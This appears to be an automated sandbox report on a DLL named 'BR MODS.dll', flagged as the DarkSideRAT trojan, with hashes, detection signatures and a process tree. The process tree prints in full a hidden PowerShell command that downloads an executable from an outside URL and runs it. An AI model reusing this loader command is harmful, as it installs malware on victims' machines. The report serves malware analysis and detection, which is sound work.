Analysis
- user interaction
yes - max time kernel
16s - max time network
16s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
09/08/2026, 23:17
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
BR MODS.dll
Resource
win10v2004-20260513-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
BR MODS.dll
Resource
win11ltsc2024-20260709-en
10 signatures
150 seconds
General
- Target BR MODS.dll
- Size 4.0MB
- Sample260809-29txhsxcke
- SHA256 ad8c60477c79380d22c04252d98b2bdf3d90c5accafcc0bc0038e6dd7e2e1513
- MD5 ec3068993e495288652901e115f2318f
- SHA1 716ee9dff628d5e12f6efcce34eca80817e53eee
- SHA512 26b75535b15c8c3058ae67f7fdaca6ec50d1633db9002f27139ab447799efb4fbc09f3cda36b830f8c3d35ab599ae1b7db8e5f6fe3a503ac29ad65d5f91ff809
- SSDEEP 49152:4S2K2Hgv1rCpylQQIVvcTn/PIJ5MpXecESyjYsqy55H9uxkNyAZOerb5qLz0iQVv:4jAlRAvSn/PsMpeqbxW3mQV
- TLSH T1F016F145E29602A8DF779278887A6617DAB17CC90370C7DB63DD4A266F13BF0267E310
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 1 IoCs
resource yara_rule behavioral1/files/0x000c000000024575-14.dat family_darksiderat - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 4 2936 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2936 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 4 2936 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 2960 BK769135.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3792 cmd.exe 4144 cmd.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2592 rundll32.exe 2592 rundll32.exe 2936 powershell.exe 2936 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2592 rundll32.exe Token: SeDebugPrivilege 2936 powershell.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2592 wrote to memory of 3792 2592 rundll32.exe 85 PID 3792 wrote to memory of 4144 3792 cmd.exe 87 PID 4144 wrote to memory of 2936 4144 cmd.exe 91 PID 2936 wrote to memory of 2960 2936 powershell.exe 93
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\BR MODS.dll",#11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK769135.exe; Start-Process -FilePath $env:TEMP\BK769135.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3792 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK769135.exe; Start-Process -FilePath $env:TEMP\BK769135.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK769135.exe; Start-Process -FilePath $env:TEMP\BK769135.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Users\Admin\AppData\Local\Temp\BK769135.exe"C:\Users\Admin\AppData\Local\Temp\BK769135.exe"5⤵
- Executes dropped EXE
PID:2960
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\BK769135.exe
- Size 67KB
- SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
- MD5 32b268f7114cd6816d3b1c0558e88f95
- SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
- SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
- SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
- TLSH T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_me0uk2rp.4gr.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH